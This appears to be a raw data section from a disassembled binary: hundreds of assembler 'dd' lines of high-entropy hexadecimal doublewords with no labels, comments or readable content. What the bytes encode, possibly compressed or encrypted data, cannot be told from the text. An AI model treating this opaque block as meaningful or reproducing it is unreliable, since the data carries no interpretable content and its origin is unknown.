		dd 80639150h, 2ED3E604h, 0F9C2883h, 70F5013Ch, 1CE5C26Ch
		dd 0F3082069h, 3EB1A43Eh, 47C409Ch, 0D8C39F2Bh,	0C8F8CB36h
		dd 5BCDC060h, 0B703BAC2h, 2A4148AFh, 6FC84A11h,	0DD4CD8h
		dd 35F20E50h, 3DE8BEFFh, 0B848F7C8h, 0A5C4411Fh, 0E0B15000h
		dd 18C06C33h, 0AEE27FEDh, 99B7F06h, 1A3DD080h, 8D206044h
		dd 44B0A777h, 0FAB767A9h, 0B6B47FE1h, 0CF91983h, 0BDC0B162h
		dd 0E3077EE6h, 431E85B9h, 94A863h, 9D0733F1h, 0C304165Dh
		dd 519DB1Dh, 0C43CD903h, 1A1BD85Eh, 0D2540401h,	8018ADCBh
		dd 38A29BC8h, 4029F224h, 1F5A465Eh, 7DCAC2AAh, 0F0281CFFh
		dd 16C78225h, 8C1034ECh, 826E80D1h, 6E5987C3h, 2C760954h
		dd 97C0AB60h, 82609108h, 61E54FFEh, 0E0247B2Ch,	15120233h
		dd 0E4460F8Bh, 0C00B4880h, 0F0A4136Fh, 8662820h, 4C67C809h
		dd 39C3414h, 0C7F2BECAh, 0E8BDA940h, 0AE04B438h, 0A361C89Ah
		dd 3019E2ACh, 6101D778h, 0C95EC79Eh, 0B9F87AB1h, 71B320B7h
		dd 6220A0A0h, 0B08D8280h, 0FFC4F38h, 392C4C9Ch,	0B0F0CB89h
		dd 30856380h, 76F8973Bh, 60942D46h, 2E5A465Ch, 8503E4C7h
		dd 7750C5FFh, 0D4EB0781h, 0C1930352h, 0A45E489Dh, 4B118818h
		dd 8E70D700h, 2B47032Ch, 0ECACEC94h, 9A0A1C03h,	50D97CC5h
		dd 8863FC7Eh, 1C5076E8h, 0C4733318h, 0C215C624h, 0BD180C1Ah
		dd 3D908FECh, 3ED60521h, 7810F302h, 0FD1E12CBh,	0BA1AC9B4h
		dd 4D1C4823h, 0BFA1A100h, 4B05C56Ch, 997803FEh,	631529A8h
		dd 70626FD0h, 93C0B119h, 8C3CE249h, 18CB8B8h, 2BD9EF6h
		dd 2CC6E885h, 0F8604C84h, 870E8C63h, 8C46A24Eh,	48EE196Ch
		dd 0EC001408h, 96F2501Eh, 2A304704h, 0E8CB59BBh, 40CA0106h
		dd 5643BDC0h, 0E848687Eh, 0FB018C19h, 0FCD8B38Bh, 822C4DFh
		dd 7D237C48h, 46CDC09h,	7CCE2C08h, 6B048803h, 27F09332h
		dd 0CC18A20Dh, 51986050h, 9019598Ah, 3700BEBCh,	70874FDEh
		dd 26A27446h, 810464E4h, 6BF01657h, 0B8C5D03Eh,	4100A49Ch
		dd 7C442C9Ch, 63177CC9h, 2AF519E0h, 6FA040BDh, 0D16E7AE6h
		dd 0BBD10091h, 0DB732F18h, 45F39D17h, 0E8708014h, 36038C60h
		dd 0A0CDFF94h, 3FD01764h, 0C80303CAh, 70CEB0B7h, 849F7C15h
		dd 138909A4h, 1F8461EBh, 0F8387AD2h, 3A327E51h,	0A0ACC874h
		dd 0B8071415h, 561E3D23h, 0EDC8EC44h, 363020CEh, 6F465772h
		dd 0E75D8106h, 31787FB4h, 6DD990A3h, 3E4C304Ch,	11537D8Ch
		dd 8855C8EDh, 7B358E1Bh, 0C0898DA4h, 6FB2F5FDh,	0B48A4402h
		dd 0A7B7B507h, 0D97058ACh, 0E0D39D2Eh, 1EFE0FD5h, 1C435396h
		dd 61B8401Bh, 0A64C902Dh, 0C02B0390h, 3B7950F5h, 0ABAC1BA0h
		dd 0BDFD8208h, 0BE024C20h, 0A028C00Ch, 0D16F0016h, 46FB3D4Fh
		dd 0ED1C27E1h, 0E78B84D5h, 7ED406D0h, 26174E1h,	42601BA5h
		dd 0EC9736BEh, 868F6191h, 8C39A074h, 1D93CCC8h,	85F1408h
		dd 8C7BB050h, 296CD202h, 190BDCFCh, 1A8A10ADh, 1D20F46Bh
		dd 8016D61Dh, 0CB18F2ECh, 9600D56Fh, 9371F57Eh,	0B240E495h
		dd 3CBE3288h, 2071BFF0h, 5C3E7282h, 0F8E41Dh, 0AD4EBC83h
		dd 1FFC12F6h, 0DC4152h,	0C81C9382h, 713B97Fh, 6FC90517h
		dd 0C5915092h, 0A4A14FBCh, 0F8945707h, 528AF2C0h, 7CF04C14h
		dd 8AFA2EE0h, 0B4200F00h, 5A19B8C2h, 203CF92Dh,	8C69BCh
		dd 8BFC3FAh, 1D368F7Dh,	6CB3307h, 0FC115347h, 84642CCDh
		dd 74949E28h, 0F503AC46h, 3503F1AAh, 92945016h,	16FE400h
		dd 1C7B0EB2h, 0AD653B8Ah, 1991E09Dh, 272A6380h,	0BC2A9A79h
		dd 78B6E0F4h, 115417E9h, 0CB8BAFh, 78A65CA2h, 2FD61EF1h
		dd 8AEA8065h, 0FB9CC375h, 314EB62Fh, 5FF87340h,	1418C1B3h
		dd 13C353Bh, 4280AABh, 4054A62Ch, 0E0ADC428h, 6042A826h
		dd 94221816h, 50F21Ch, 146EE7ABh, 0DDC4F9DFh, 0A55E6B07h
		dd 96845199h, 138534A3h, 3B38C536h, 0BB2394h, 0B6F1DA08h
		dd 0AB1D1013h, 290D6C3Dh, 0E001C80Ch, 0E0ABA0A3h, 290E7838h
		dd 0E8993900h, 9C4CBFFCh, 2C655CEFh, 3C45F06Bh,	46601BE4h
		dd 69394C0Ah, 0A215CC8h, 0B463F4B1h, 0A19BB0BBh, 72E4950h
		dd 5685FB94h, 0FD3707F8h, 4F7320E0h, 6E13EE09h,	0A40888D3h
		dd 77911104h, 68C7E3Eh,	0AADF819Ah, 0D0081FFh, 0D557B99Fh
		dd 4868C75Fh, 510A8496h, 163CCBD2h, 88888F73h, 51C1C044h
		dd 4C0019A7h, 4B1CD6F0h, 5BB44E89h, 23743EF4h, 997203B0h
		dd 7C9B9843h, 392980DDh, 0A648E7F5h, 7681655Ch,	3AF29CA2h
		dd 12892130h, 0B0191BE3h, 0FC2E9D10h, 2F6C878h,	0AB50CFA8h
		dd 0D8632F20h, 464E30E0h, 78422C96h, 3A4C066Bh,	0B838224Dh
		dd 2B8306DEh, 19481FA4h, 824C221Dh, 0BAD6EF40h,	0C6AA5E5h
		dd 7BCBB190h, 0A30231A1h, 89B6789h, 13AC7146h, 0C1FCDA28h
		dd 0F99A41BDh, 2F774072h, 40A5992Eh, 0B9F04079h, 0C4AAC5A4h
		dd 6CCCB48h, 97A96A48h,	72D00029h, 7A05DD31h, 0D3195490h
		dd 2889EC1Fh, 47F28072h, 1BABC30h, 696EEC27h, 2344DC79h
		dd 3018A264h, 6B009AAFh, 222D9884h, 22ED4B3h, 54D7856Fh
		dd 0F4416C20h, 2FA86908h, 11501F9Fh, 78B48069h,	0DB5465h
		dd 0BCE1340Fh, 73BA067Dh, 0B497ACB4h, 86A5E090h, 0B23D4CBBh
		dd 9839DC60h, 0FD1EB14Ah
		dd 0B89888Bh, 40304174h, 0BFFF6710h, 7A7E2C00h,	32038B8Dh
		dd 4AA00E93h, 8756EC37h, 0DBBE30B0h, 650071EFh,	0D58F58A3h
		dd 12FF8EB8h, 27DE0BDh,	0E2A5E314h, 0BBE4E045h,	0C90D6160h
		dd 44012FECh, 0E53DAC49h, 282405AFh, 655400F8h,	128DDF53h
		dd 0A700C867h, 3F41A4DCh, 2E5860B6h, 0FF8F225h,	15E5E7A1h
		dd 4CE48171h, 0AF98827Ah, 701FBBC3h, 79949108h,	0D918B0h
		dd 60143638h, 0E9ADA89Dh, 40C49709h, 83908099h,	9E1657C3h
		dd 749CEA58h, 0D8001946h, 9FB425ECh, 7D60B5F7h,	262DC9A9h
		dd 62743B3Ch, 8AADAF04h, 0F864800Bh, 0E22CEECEh, 3718F3D6h
		dd 0B7014E9h, 447FC009h, 0EE464CC6h, 0D70A2A02h, 0E447088Ah
		dd 0A224700h, 1B2B7CDEh, 19B0CFB6h, 0E9D757B7h,	44C4ACE5h
		dd 47BEC60h, 0C607330Fh, 46E4E032h, 0C047AF2Bh,	0A0099AE8h
		dd 0CBF310E8h, 0C69CB854h, 109978B0h, 0DF18A9F1h, 0F166FD01h
		dd 5B11316h, 82DC1F2Ah,	0F0E77F85h, 835F14F8h, 50EC4FB0h
		dd 2E71EC91h, 74F848B4h, 48001B46h, 72B05E14h, 0EC004DD1h
		dd 179D363Eh, 0D4083D13h, 4502A081h, 7991B4BFh,	0B704B42Ah
		dd 6887EC88h, 3E5E5D10h, 80974B15h, 0A1C29FF8h,	82A0C74Ch
		dd 64A7D7EFh, 0FF67098h, 558B34E4h, 0ECCC0BC0h,	0EF04D4F7h
		dd 0AC2CDDE7h, 24A678C5h, 277885B0h, 0D932F2A0h, 0A8FF7D17h
		dd 9AB8844h, 61860C90h,	69DC0538h, 824FC0B3h, 170B6F60h
		dd 83441198h, 8A82283Ah, 15845607h, 0EC50803Bh,	0E3634468h
		dd 14FFE744h, 0A49A38F5h, 74FC532Eh, 0A4076546h, 1162EAD7h
		dd 3AE13B17h, 8AC5C14h,	4203E3h, 0DF5B99Eh, 6B4B62E4h
		dd 66238C2Fh, 2901E400h, 981F6F7h, 183EFF77h, 0BDFC7010h
		dd 0E05C2031h, 3441F5h,	90FE529Ah, 1BBD6B00h, 5EAC4EB8h
		dd 0C0C11825h, 0AA0EAB88h, 243470C4h, 11D071C2h, 6CC0041h
		dd 0C50F18FBh, 0B06800CAh, 91F61261h, 7500A59Bh, 0E62AB9F0h
		dd 25196AC2h, 7435226Ch, 3BBE3680h, 1D01EECh, 8E4C164Dh
		dd 304A042Ch, 1D02EAECh, 0C314123Dh, 1770F07Dh,	8B3671CDh
		dd 0C7668828h, 2C38C0E1h, 0B2FC3101h, 0F4C83026h, 80E07444h
		dd 0E5F42AB6h, 75D4908Ch, 0B4E48B8Bh, 80E7A64Ch, 79E11959h
		dd 3B6D486h, 0E5ABF104h, 88E07A01h, 0AF2A76Fh, 89832E00h
		dd 0AA32D5E6h, 303B587Bh, 88508BA4h, 0C1B9C7B8h, 31CECF57h
		dd 9F6C4235h, 179760D8h, 80AD912Ch, 0F7C5E6D4h,	63802A6h
		dd 811B962Eh, 0C6128056h, 2D4DE405h, 1F80A0DBh,	0A8103EBDh
		dd 0C8E571C1h, 0F0550BBCh, 983E68C3h, 9FAAD052h, 4AE644A0h
		dd 8BEA1DBDh, 6ABB0C00h, 72619075h, 0B2702F9h, 80BDC232h
		dd 5498BC70h, 2402F446h, 588AD90Ah, 3CF11F1Ch, 6C86BD0Ah
		dd 0E8120530h, 3B9D6B13h, 7B0C0482h, 8D7C700Ch,	0FEDC0809h
		dd 9288901Ch, 97BD00BCh, 0CECB7F19h, 8800A8D3h,	43DDB30Ah
		dd 95D6B5Bh, 0E9091B14h, 2B747021h, 1888BA95h, 4749461Dh
		dd 676B0019h, 334BFB6Ah, 9C00617Ah, 22620DBCh, 49BF46E7h
		dd 160C8898h, 41D9911Bh, 2A4224BCh, 5870DBE3h, 4679560Bh
		dd 0B69E8601h, 711C7D2Bh, 0D9EE6DD5h, 18127900h, 905D07B1h
		dd 0B021467Ah, 70C2F7C8h, 0B4B722h, 0B51A2A3Dh,	2D9B4027h
		dd 3BFE6E01h, 6772502Ch, 0B9BE7C8Eh, 45C9482Ch,	579D6509h
		dd 182C005Ch, 0A0E3D1CBh, 1D0DB180h, 863EA3BDh,	314AFD9Ah
		dd 20964FE0h, 0CC3725h,	4C55E0CDh, 48988A95h, 1F9D4B09h
		dd 6D24E8B1h, 7EB32875h, 0A74D1248h, 0A228F396h, 2AEA301Fh
		dd 6590DC00h, 0B354722Eh, 1B891717h, 0C77C4397h, 5FB1927Fh
		dd 18136A1Fh, 5E010B6h,	18200255h, 0AB0BAA7h, 1FF9105Eh
		dd 0A90609A8h, 0BE04D8FAh, 7CCEAB9Dh, 81ECF8E9h, 0C1D1E404h
		dd 0A6001F16h, 8746B4B0h, 9A8990BCh, 0AB841036h, 8CC4A808h
		dd 128E03A2h, 30DD63D4h, 0A0A0808Eh, 0C4BC4857h, 80C03727h
		dd 4C993CA4h, 89094374h, 484DA7E3h, 827E1CD8h, 5A3BC002h
		dd 9412F472h, 0E48E42E1h, 0F3C01388h, 20D475Dh,	2E6BBB55h
		dd 8D42FA77h, 477E047Eh, 85870018h, 47DFB8E5h, 0B405FE74h
		dd 7F94BB7Ch, 0B40B9449h, 14514F20h, 27B8A967h,	0B861CC9Eh
		dd 0ACE4AA31h, 830F0068h, 0A39293EBh, 30A9B2A8h, 0E200DA40h
		dd 8FC4335Bh, 4F516301h, 5CE4C8F0h, 6039182Dh, 1AD34D08h
		dd 0B927C87Dh, 428FBC82h, 2313EE00h, 4F80B4CDh,	0C74406B1h
		dd 35D061F0h, 0ACA00BA9h, 8C60E858h, 0FDA3860Bh, 0FA7409BAh
		dd 46EF1330h, 90BC3582h, 4268366Ch, 5C0CAC50h, 0D4151026h
		dd 1CB4AB92h, 0BE3030Fh, 94B7B284h, 0BD9FB100h,	0F539BCF9h
		dd 72B05A22h, 2B30EF54h, 8AD6380Ah, 23EC8043h, 1082940Ah
		dd 8416C7C3h, 401C6CF4h, 5D4A43F0h, 7626A5ECh, 17A5F4AFh
		dd 80471104h, 0E0E8B0EAh, 84889427h, 0A636D2C3h, 0FEC1B0B8h
		dd 95D102B2h, 0E43D1319h, 4CA4A405h, 0E488A72Eh, 73356013h
		dd 642A1F6Fh, 0C3977DA3h, 783404AFh, 4F1CB1AEh,	0C0B38868h
		dd 7FF9F3F8h, 0DBD71B03h, 0D94AB7EBh, 0B034AFBDh, 0CC0BB7FDh
		dd 13C43845h, 0C6C5260h, 0E7DB5901h, 5BA972C6h,	7B94033Fh
		dd 0B1DAE680h, 82E16C4Dh, 0E8481FC2h, 6CA50055h, 0CFF21107h
		dd 0AC0E9B7Ch, 204E857Eh, 0DD201F73h, 0C3D707B0h, 0C9A4839Ch
		dd 3E2504F2h, 4858981Ah, 0F474827Bh, 90851445h,	6ACDE844h
		dd 63BCB4A8h, 65BA098Ch, 0F0D9B099h, 4618A9D9h,	7DFA2400h
		dd 0B3EC0633h, 554E1232h, 23282F23h, 8C5B0017h,	3E791059h
		dd 948048F3h, 605ACC72h, 44ED8034h, 890090A8h, 16122AAh
		dd 148234E7h, 0A4517FFDh, 0C12F510h, 596E8541h,	0D0EC0423h
		dd 0C8C59A7Fh, 7002D41Ch, 15C9DDEDh, 80E06071h,	5A80B47Dh
		dd 0B0117897h, 0D2E2C680h, 7900BD74h, 0E545239Bh, 5A0FD3C2h
		dd 0A6782246h, 903F0DAh, 216EA1C5h, 0BE45E0B2h,	544D130Eh
		dd 8840CEDDh, 88F5C01Bh, 353AB259h, 7FC38BF8h, 836C4976h
		dd 0C76653E0h, 87216810h, 76194CBh, 0EE02D090h,	0BBB0F074h
		dd 9D337098h, 0DF20A0B8h, 1D6987Dh, 0FDA49C46h,	276C0CBDh
		dd 5160180h, 94F42D49h,	13F9C21h, 0B4CA4CDCh, 6A82D067h
		dd 0A06B225Fh, 2C71E2Ch, 0EB51B16h, 0D6F10C43h,	10E5E019h
		dd 1EDE10CEh, 0D0CCB612h, 1449400Fh, 0C53B27h, 0A5E4D3BCh
		dd 0EBCF2CB1h, 209CA060h, 399F5AFFh, 6C22E318h,	2430B3F2h
		dd 0D457003Eh, 93B5D958h, 2E000976h, 0C7C58331h, 1BB986Fh
		dd 6C464123h, 57882C47h, 293071A0h, 226C7219h, 0C1330B7Bh
		dd 0AC6D2359h, 5C0BF460h, 0F26B162Eh, 212C9283h, 109FA12Fh
		dd 6D1D799Bh, 93FB868h,	4774C32Bh, 7CC040C2h, 8D04A886h
		dd 0B9D7AEDh, 0B42E80F8h, 0D0C24030h, 35001E39h, 5D8E86F4h
		dd 188482B5h, 0C8067B93h, 55602C41h, 5F19EC89h,	0A9E50BC5h
		dd 94194BA8h, 82718FBh,	208AD20Ah, 0F04615C4h, 0D81FBC3Fh
		dd 0C9005B23h, 0F655CE05h, 0CAC35A9Ah, 0D3D900B0h, 0A2D88063h
		dd 20CD11FFh, 4161760h,	47C8088Bh, 887696C0h, 77EF25E3h
		dd 828BF0E0h, 0F7BCA456h, 4F182279h, 92B4F4ADh,	1DB88085h
		dd 0F41F48E9h, 4386D7F0h, 0BEB837CCh, 1E465EB0h, 16447E0Eh
		dd 74F16862h, 0BD964CDCh, 0CB9ACCC0h, 27B4B8D9h, 0A8172845h
		dd 0BC831F11h, 86E8FCACh, 0B30292DEh, 1627F117h, 0EBC47E5Ah
		dd 68590C51h, 52005818h, 0E46129ADh, 0B1A106Eh,	40BCAA23h
		dd 959D181Eh, 46BF14h
		dd 4C14B241h, 7C0576ECh, 8C385B75h, 798C23C0h, 0C8E61354h
		dd 347C385Dh, 3A017C75h, 4F19A11Ch, 6B7F23C3h, 172225CCh
		dd 80189124h, 0D7607503h, 0F1A024Ch, 7F74C24Dh,	94004858h
		dd 70E69C3h, 1D79F398h,	388D7A52h, 0D3A9920Fh, 0CE12ECE0h
		dd 0A339624h, 2CA408BEh, 53CB21h, 0EC7581Ch, 0E300F1D2h
		dd 83591321h, 8A7065h, 0C2B2BEDFh, 89920661h, 0AF997900h
		dd 0C3F6CD35h, 0C1F3C0Eh, 8BD78F81h, 809A474Fh,	0A6371488h
		dd 67F90A0h, 61DA926Ah,	200E4104h, 0C0D34CEBh, 817DADDEh
		dd 1A08CCD6h, 0E31E4121h, 43C0514Ch, 0CF6DB1Bh,	80857072h
		dd 6E3E48B7h, 694A7323h, 7325C0A0h, 0A6663015h,	5B4F8970h
		dd 0E7889360h, 0F578E02h, 0FC06809Bh, 95E8C9C2h, 0E1B2000Eh
		dd 0C1B593Ch, 13049DCEh, 21C0A909h, 0F13CD9D2h,	6A1B0350h
		dd 0E4881D67h, 7D712387h, 5A99910Fh, 61026E55h,	44FA8DB6h
		dd 21960898h, 72FA52BBh, 0ECDF4000h, 49AAC086h,	0A8DE6290h
		dd 7103839Bh, 7D310084h, 576228F8h, 2A39FF20h, 72F08FDDh
		dd 899180D4h, 6A5B8E03h, 3260D0B6h, 5E30E890h, 4602F255h
		dd 8F2275h, 2E5556BFh, 171BAA99h, 0E026CB28h, 0C005642Ah
		dd 1030A1E0h, 0E6FA3180h, 59FE0F1Bh, 40327B38h,	3578DD1Ch
		dd 40019F69h, 0FF169CB3h, 0F848BE61h, 0EC1D8CDBh, 0E691D44Ch
		dd 42821888h, 0E0584CE4h, 0A6B8302h, 87731F8Ah,	0DFD9078Ch
		dd 2FCC0BFh, 120AB605h,	34AAAE2Fh, 118B720Eh, 9508EE07h
		dd 0DDE1E0FDh, 4036664h, 51C0F353h, 226B93B2h, 0FD008630h
		dd 707F78BCh, 0CD9CB7h,	98E15217h, 7A1C8606h, 3FB08450h
		dd 9010AF28h, 97C0FC12h, 0C050B008h, 12EAC3D1h,	0A222BE46h
		dd 0C303C971h, 0AB495230h, 0B5A3D808h, 0E0BB5053h, 0CBD900E2h
		dd 0D1E3C30Fh, 0AD759689h, 0E8B0F2E1h, 2F25558h, 0B9804543h
		dd 886F5550h, 14F8A80Dh, 423E872h, 0B430A5A2h, 6C170070h
		dd 31028D10h, 7950F439h, 0E8ACE0B4h, 0D94CF11Dh, 64AE0E88h
		dd 0E947401Ch, 70B94Ch,	0D93ECC76h, 8B975634h, 8F506FFAh
		dd 0F1488ECh, 0FE4A536h, 677B1D66h, 84542F9Eh, 0A6C8D48Eh
		dd 800E0FC5h, 8F650F71h, 4850D2FFh, 8C1DB860h, 0CB44C500h
		dd 0FF9B3FA5h, 4EC12B7h, 64004F2h, 4F290194h, 0D083841Fh
		dd 33B57CEAh, 7BEC02EDh, 0AC8281FEh, 0D4A77A71h, 1E7F90D6h
		dd 0D49A0B6Ah, 0D7025646h, 0EE12F0C3h, 0CF71D09Ch, 6F1BC300h
		dd 5C2B2063h, 0EF19002Ah, 1832D547h, 0BD3AFA9Fh, 6078E15h
		dd 6387CD0h, 122860Fh, 1B6A700Ch, 0E03E857h, 0C35F2080h
		dd 7C0689E4h, 44810424h, 21146208h, 9405747h, 0BD198960h
		dd 8B5A0B7Dh, 0CE3339D8h, 9DE3610Ch, 0E0714F1h,	8442CF81h
		dd 0C691D27h, 0C517963h, 11C9B58Bh, 0B065E26h, 62850FDBh
		dd 0BF660069h, 0BD83D7C3h, 0A31EEE6h, 3284BA06h, 185511C2h
		dd 23C3725Dh, 19116C89h, 0C3554500h, 658A5876h,	0B60EFB31h
		dd 0E9011FD9h, 89298354h, 143141B5h, 3F85C716h,	8B01B96Eh
		dd 863DE9F1h, 8810F0Fh,	8A51500Dh, 5F28402Dh, 22D01FA4h
		dd 8C1DF8B8h, 62959100h, 0F25E4C3Fh, 2F9D1403h,	2BD1B38Dh
		dd 0D10125ACh, 6D6E9796h, 0E6C455BAh, 0FF231C81h, 0E998B9FEh
		dd 67A6310Ch, 0EE205000h, 0BF92DF56h, 754979CAh, 66F90F0Fh
		dd 55DDB8Ch, 0C227800Ah, 0D6840401h, 3053327Eh,	89E4C35Bh
		dd 0E0335C48h, 68C35343h, 423437h, 7973563h, 0AB00FF91h
		dd 6DE5AB9h, 71F08BAEh,	0A666F5Fh, 186195C2h, 65204B44h
		dd 89500A02h, 5C452404h, 68011746h, 0E8A83839h,	0C119AC0Eh
		dd 6AC2C500h, 7A79B3h, 0C40D1722h, 0BD33F845h, 6D158124h
		dd 484E986h, 0B0FC2434h, 1A46765Ch, 4780CA3Eh, 3E50B9Dh
		dd 1FC007E9h, 0B2E211C2h, 321BFC17h, 516070E6h,	0E4C35930h
		dd 8C4C4889h, 0C35141E0h, 0E0BD3F00h, 81318C0Fh, 282A0BF7h
		dd 6A8564EBh, 0FAAE0051h, 0D8B60F5Eh, 576061ADh, 744E091Bh
		dd 507564A3h, 0F58C88BAh, 0CEA7C3F0h, 50601844h, 8526FD13h
		dd 0DD001A20h, 0C15E523Dh, 520464E8h, 0C3D76756h, 317489F2h
		dd 5646101Bh, 269A00C3h, 8229B83Eh, 6024457Fh, 3C41F2E8h
		dd 0CEDCC104h, 0ABE52623h, 21290817h, 958B5B01h, 84322CEDh
		dd 99D207Eh, 0E2F76601h, 1E4DBD2Bh, 0A55312BBh,	0F301BB2h
		dd 5BEF010Bh, 819EF48Eh, 0F9D04050h, 71921C89h,	725818F3h
		dd 0A744FEC3h, 504000CFh, 1F7E4FC3h, 0F6CFC402h, 0C4B5FFC8h
		dd 0C452851Bh, 3EE56016h, 34C7907Dh, 2E481B69h,	715234Ch
		dd 9B0B8D7h, 0E1810E37h, 0E45EA57h, 52238D22h, 45C35A0Eh
		dd 8D385489h, 19525842h, 90840B00h, 0E8EB544Fh,	3F1F0F60h
		dd 3EF059F4h, 98804E20h, 0D5DFCF23h, 0D82E6FE9h, 2B30960Fh
		dd 905FFE8Bh, 3CF91FA5h, 7A838D61h, 884A0B1Fh, 56FDC01Ch
		dd 3614A5ECh, 18B1EBA8h, 0AD230BE9h, 0B5830FCBh, 0E2416479h
		dd 25413BB4h, 88884EDDh, 0C465C215h, 2FDAA663h,	0C6816600h
		dd 0E14B4849h, 5D2256CCh, 3D301841h, 2D852695h,	3AC392C4h
		dd 31D2323h, 0FA63C6E7h, 308B73A8h, 0FC4FC914h,	31F055A8h
		dd 0FAD51C6h, 2946408Fh, 1648399Dh, 0DE8180B3h,	11322CFh
		dd 0FAB70F44h, 400DE858h, 0D40AA645h, 2D08B60Bh, 6F9C814Bh
		dd 0E8836511h, 5EA34FDFh, 880F4806h, 3865019Eh,	0B94085BDh
		dd 0F24A73E7h, 0CC953017h, 83FE7E0Bh, 91119DC1h, 0F1748018h
		dd 2EB1064Bh, 10F1D93Bh, 0B89DD449h, 84128C16h,	6308686Dh
		dd 0F6818006h, 2696F1E8h, 0D958F9B0h, 8C14E835h, 156CD02h
		dd 4431618Dh, 69BD1016h, 0C1F6171Ah, 85C21E48h,	0D0F18D09h
		dd 0D19D89D3h, 0F50CA6E9h, 302090CFh, 0E24C5B52h, 2565301Ch
		dd 75CA231Dh, 0BAC554C3h, 0D08EDC2Bh, 9CC01888h, 0ED6BD180h
		dd 0C2218420h, 8343DDDh, 0C2FDC152h, 96A33512h,	1D2F04BDh
		dd 890F0505h, 21EED430h, 652F0D90h, 4E6746E9h, 0C01788FDh
		dd 55C17B0Ch, 85C08B29h, 0AF181DD1h, 82C5AC03h,	0F93D6D03h
		dd 83124A0h, 963D8C9h, 0BE301BA2h, 683E02D6h, 42815648h
		dd 90F6D340h, 0C08B9A5Ch, 99B38AD6h, 0C0A028Eh,	13D85C7h
		dd 1B1D9580h, 3EA534E4h, 726016C4h, 0B0CD3E6h, 500D19BDh
		dd 48B10ABEh, 209226F8h, 0EAD20CAh, 0BD2C814Bh,	0F829A185h
		dd 2EFD2E88h, 2C61FF1Fh, 0ED69142Ah, 8AF7BF85h,	0E21852C8h
		dd 508E301Bh, 0F06A0100h, 32F68ABh, 0AB2D69BDh,	6051D3B0h
		dd 0C60927B8h, 0B7905E61h, 0E0C98369h, 0F022395Bh, 0BE66070Ah
		dd 0A6093CB5h, 0DB907BE9h, 70FC1945h, 72183F0Bh, 0A280B2D8h
		dd 38D97A06h, 5E00C873h, 0A6A076B5h, 0A08CE38Ah, 820BE5A0h
		dd 426181CAh, 1E9D56B9h, 69128930h, 6FE8F7B7h, 0CE405913h
		dd 2CF32840h, 4C5E7E07h, 80BE0C2Fh, 0ECFAA286h,	42A367C9h
		dd 5F090835h, 11A59DF9h, 0EFF8801Bh, 1F40CAEh, 29DE3E54h
		dd 5114A1B5h, 0FA0185F5h, 0E188E804h, 91750F0Ah, 22F80BFDh
		dd 5E811021h, 441B0721h, 93B38F9Eh, 7BF53D81h, 0E5A63048h
		dd 26961152h, 18A6A009h, 9F1704DEh, 878FE974h, 89B91A57h
		dd 3D9DC18Bh, 10871A11h, 6692C04Eh, 0BF05CE8Dh,	1D112389h
		dd 0BCC5F108h, 205DB59Dh, 4104EB37h, 0D7816000h, 0D2B91248h
		dd 18CA4802h, 7C046112h, 8D0721D9h, 12C9485h, 12E950FCh
		dd 0B1534380h, 0B8EB4987h, 77414C00h, 482E607Fh, 0A67D092Ch
		dd 28C28E8Dh, 1944D767h
		dd 776B3460h, 57B6792Ch, 0E8D14DB9h, 0BC47137Dh, 0E783035Bh
		dd 0D609BAACh, 0E70AFAD8h, 601C440Ch, 40C054h, 8923D22Ah
		dd 0CE816B10h, 0F4EFEB09h, 0CCB7803Ch, 1D3468BFh, 8205C083h
		dd 485D4387h, 0F0554558h, 0A255238Eh, 2633016h,	13CB361h
		dd 51255985h, 6465E7E2h, 78F26019h, 5039B012h, 4C65FF60h
		dd 35847B1Bh, 8DF90313h, 89938A9Dh, 807A379Bh, 0AC89A76Dh
		dd 19C206E9h, 5A0CF554h, 6ED34E85h, 6D540047h, 0A3D09778h
		dd 9194CB5h, 0C526811Bh, 8F2C85B7h, 0C017880Ch,	0FBF5BD72h
		dd 52EFE92Ch, 8021E89Bh, 49ED815Dh, 0E04826E2h,	3C121116h
		dd 1720866Ch, 0BB600E01h, 4829EE66h, 0B0D80705h, 0B6A85109h
		dd 0C71C8152h, 7BCB5A24h, 0D10B625Eh, 1817F147h, 6DCD3AE4h
		dd 91100ECCh, 3FAE6206h, 4A2CDACEh, 5D17B71h, 0D978B68h
		dd 1FC1CD81h, 3ABD8300h, 4D22F95Bh, 0C20B241Eh,	810932A7h
		dd 0BFCA81A7h, 62E961D4h, 880F253Fh, 45285859h,	39442C5Bh
		dd 5660F93Ah, 752DBD89h, 1C292629h, 0A153581Bh,	62CA0222h
		dd 114E215Fh, 2E835326h, 8D5E8AB2h, 744B6AC8h, 410B1646h
		dd 0BEA04BABh, 5E82394h, 2B45988h, 2957C9A8h, 0C1C9E5BDh
		dd 0C02D6C5Fh, 982622BFh, 2C1EB667h, 1B3D080Ah,	0ED950D3Bh
		dd 25680C23h, 0C1A07B88h, 1960D79h, 9D663E8h, 0E98A8D6Ah
		dd 0A5F3AE48h, 5E01300h, 77C081E4h, 95AF0034h, 54DBF690h
		dd 452DB5D7h, 0CD27894Fh, 75DCE0B6h, 43163ED3h,	5600B526h
		dd 3B8D7693h, 0DA82520Fh, 0A9AC013Ch, 1DE98B55h, 0AF077029h
		dd 726D09B0h, 5CF6ABC0h, 39BB01DDh, 0E6E5E499h,	3962070h
		dd 71528078h, 3019E269h, 0B7413B6h, 0C3A2D224h,	31B92518h
		dd 857D49B5h, 441134Eh,	130459DAh, 4F411F89h, 173D0365h
		dd 75107248h, 0E5164F16h, 0F581DC9Bh, 3C2B351Fh, 0A29A4312h
		dd 0F6C3018h, 13D5800h,	8D89D82Bh, 172696FDh, 20DA3293h
		dd 0CB3DB940h, 505F7300h, 9AAFBE60h, 574200FAh,	35F7BA66h
		dd 934D6159h, 9DCBC42h,	8B41CDF0h, 600476C4h, 959D3153h
		dd 0D1589E92h, 9E803C04h, 0FA6DAEFEh, 6E09E7ADh, 6D6199BDh
		dd 60146426h, 0B6870FF5h, 8A539489h, 2D0CA510h,	0B5FA3A5Fh
		dd 0F93B8053h, 1FB685E3h, 4CA18C39h, 0B2EF0934h, 447E09BEh
		dd 0DC1601F4h, 21FC1C2Fh, 0D6662192h, 141190A4h, 0DE205A69h
		dd 5F697EEh, 6ACBCEE0h,	16D2A622h, 0CF925EF9h, 27B72A66h
		dd 19119D9Fh, 20831687h, 0F50A42F3h, 0CCAC7891h, 5D8E01DEh
		dd 3A7A2154h, 201AC54Eh, 642599Ch, 50A9E92Fh, 5B575A81h
		dd 28C7C816h, 98977002h, 4AC63E0Ch, 11439DA9h, 2C07801Ch
		dd 0C3E92h, 0C7DC6EE4h,	2F3D9D89h, 45BD85C5h, 0BA54B9F1h
		dd 0F8C0919Bh, 2DE7B292h, 0BC37A024h, 31B49592h, 1E089058h
